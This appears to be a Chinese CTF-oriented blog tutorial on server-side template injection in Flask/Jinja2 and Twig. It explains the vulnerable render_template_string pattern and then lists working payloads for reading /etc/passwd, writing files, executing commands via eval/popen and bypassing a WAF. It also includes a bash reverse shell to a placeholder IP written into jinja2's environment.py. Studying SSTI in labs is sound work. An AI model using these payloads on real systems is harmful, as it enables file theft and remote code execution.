服务端模板注入(SSTI攻击)

Posted by CoCo1er on 2019-04-12
Words 2.3k and Reading Time 10 Minutes
Viewed Times

模板注入(SSTI)

前言

​ 最近刷题刷到SSTI的题,最初死活找不到入题思路,后续看了WP才找到切入点,想起来自己之前挖的坑…SSTI的原理还是需要好好总结一下的。

​ By the way..文章后部分有例题

SSTI原理

简介

​ SSTI(Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。

​ 什么是模板?说实话上学期每周练做题的时候我也不懂。前一阵子接触了Django,稍微了解了一些web开发,可算知道模板是什么了,对SSTI理解也更清晰了些。简单说一下:

​ web开发采用MVC/MTC模式,可以理解为数据库 、模板文件 、业务处理,简单的可以这么描述,用户在url里输入了某种路径,即请求了某种业务,然后web服务器通过返回模板,模板中对数据进行填充就得到了用户应该看到的html源码。如下为一种简单模板:

1
2
3
4
5
6
7
8
<html>
      <head>
        <title>{{title}}</title>
      </head>
      <body>
          <h1>Hello, {{user}}!</h1>
      </body>
    </html>

​ 开发环境中数据不可能写成静态,于是就采用模板来实现,即通过传参title、user等可以将模板中的title、user 替换成相应内容。

漏洞成因

​ 模板注入怎么形成?看一个简单例子:(render_template_string)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
    from flask import render_template
    from flask import request
    from flask import render_template_string
    app = Flask(__name__)
    @app.route('/test',methods=['GET', 'POST'])
    def test():
        template = '''
            <div class="center-content error">
                <h1>Oops! That page doesn't exist.</h1>
                <h3>%s</h3>
            </div> 
        ''' %(request.url)
return render_template_string(template)
    if __name__ == '__main__':
        app.debug = True
        app.run()

​ 代码将我们的url填入html代码中,如果我们此时在url中填入了{{ }}就可以导致SSTI注入。

​ 而如果我们使用render_template函数。即模板是先写好的,此时就不能注入了,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/',methods=['GET', 'POST'])
    @app.route('/index',methods=['GET', 'POST'])#我们访问/或者/index都会跳转
    def index():
       return render_template("index.html",title='Home',user=request.args.get("key"))

index.html
<html>
      <head>
        <title>{{title}} </title>
      </head>
      <body>
          <h1>Hello, {{user}}!</h1>
      </body>
    </html>

​ 再来几个例子帮助理解:

1
2
3
4
5
6
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;

​ 使用 Twig 模版引擎渲染页面,其中模版含有 name} 变量,其模版变量值来自于 GET 请求参数 $_GET[“name”] 。显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击。

​ 但是如果渲染的模板内容受到用户控制就会引发漏洞。

1
2
3
4
5
6
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
echo $output;

这时候传入JS是可以被执行的

参考:

附表

攻击流程

​ 试想一下,在一个python文件里,传入的模板受用户控制,那么我们就可以通过某些方法在此受限的环境里构造出能实现文件读取类似的代码并执行。

如下:通过python 内置函数,列出一个模组/类/对象来实现函数调用

函数解析

1
2
3
4
5
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类

1
2
3
4
5
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取基本类后,继续向下获取基本类(object)的子类

1
object.__subclasses__()

我们可以看到object的子类很多,找到我们能用的一些类,就可以实现构造”恶意函数“了。

关于mro和subclasses,参考: https://www.freebuf.com/articles/web/98928.html

​ 网上翻了许多博客和技术文章,看到了许多payload,这里就简单列举两个常用的:

1
2
().__class__.__bases__[0] 
''.__class__.__mro__[2]

payload:

1
2
3
#读文件: .__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() 
#写文件: .__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("")
#查看目录 __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s')

在这里[40]索引到的是“<type ‘file’ > ”

之前刷题遇到的坑:python2、python3不同环境执行的payload不同:

python2

1
2
3
#注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html 
#读文件: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

​ flask 默认用的jinja2模板语言。也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module,而且这个environment.py import了os模块, 所以只要能写这个文件,就可以执行任意命令:

1
2
#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

python3

1
2
3
#命令执行: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} 

#文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

python3 利用 globals[‘builtins ‘]的一种姿势:

参考:http://www.ee50.com/ld/940.html

详细payload/绕过

https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8

例题

  1. 自己随手git了一个SSTI攻击的靶场,link : https://github.com/vulhub/vulhub/tree/master/flask/ssti

    payload :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
    {{ b['eval']('__import__("os").popen("your command").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}

​ 同样也可以在这个靶场测试一下各种payload,根据环境的不同,有时候payload不一定有效,重要的是学会这样一种”构造“方法,可以在python cmd里去多试试那些内置模块。

  1. 最近刷题刷到的那个题。不难,太菜看不出。。

    ( 页面源代码中给出了flag所在 )

其实注入发生在url中,主要是waf有点麻烦,绕的有点多。

执行命令是这一句

1
{{''.class.mro[2].subclasses()40.read()}}

绕完waf是这一句

1
{{''['__cla'+'ss__']['__mr'+'o__'][2]['__subcla'+'sses__']()[40]('opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').next()}}

绕过姿势++ (用[ ]括起来代替‘点’,字符串分开写再拼接,file.next() 方法在文件使用迭代器时会使用到,在循环中,next()方法会在每次循环中调用,该方法返回文件的下一行,如果到达结尾(EOF),则触发 StopIteration

  1. 原来有写过沙盒绕过的题,原理也类似,可以自己去复现一下。(有空再补吧…AWSL)

工具

SSTI注入也有工具可以使用——tplmap

获取:

1
git clone https://github.com/epinna/tplmap

运行实例:

1
./tplmap.py -u <url>

这个工具对于没有waf的,比如自己搭的那个简单的靶场里的完全可以直接一键式操作,如下图

​ 对于那个有waf的,工具是可以检测出来存在注入的,不过没有能直接用的功能,如上图这些,这就需要我们去fuzz然后手工注入了。

参考 :https://host.zzidc.com/xnkj/1676.html